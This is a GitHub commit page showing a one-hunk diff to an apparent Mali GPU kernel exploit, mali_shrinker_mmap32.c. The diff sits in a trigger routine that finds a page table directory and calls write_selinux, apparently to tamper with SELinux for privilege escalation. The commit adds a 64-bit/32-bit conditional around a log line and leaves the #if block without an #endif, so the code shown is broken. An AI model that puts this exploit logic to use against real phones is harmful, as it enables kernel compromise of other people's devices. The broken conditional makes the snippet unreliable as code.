Skip to content

Commit

Permalink
64bit 32bitで使うコードを切り替える(実験)
Browse files Browse the repository at this point in the history
Signed-off-by: yuu <[email protected]>
  • Loading branch information
mouseos authored May 8, 2024
1 parent cf0c9c3 commit 3706104
Showing 1 changed file with 4 additions and 1 deletion.
5 changes: 4 additions & 1 deletion mali_shrinker_mmap32.c
Original file line number Diff line number Diff line change
Expand Up @@ -773,7 +773,10 @@ int trigger(int mali_fd, int mali_fd2, int* flush_idx) {
int pgd_idx = find_pgd(freed_idx, 0);
if (pgd_idx == -1) err(1, "Failed to find pgd");
uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000);
LOG("Found pgd %d, %llx\n", pgd_idx, pgd);
#if defined(__aarch64__)
LOG("Found pgd %d, %lx\n", pgd_idx, pgd);
#else
LOG("Found pgd %d, %llx\n", pgd_idx, pgd);
atom_number++;
write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0]));
usleep(100000);
Expand Down

0 comments on commit 3706104

Please sign in to comment.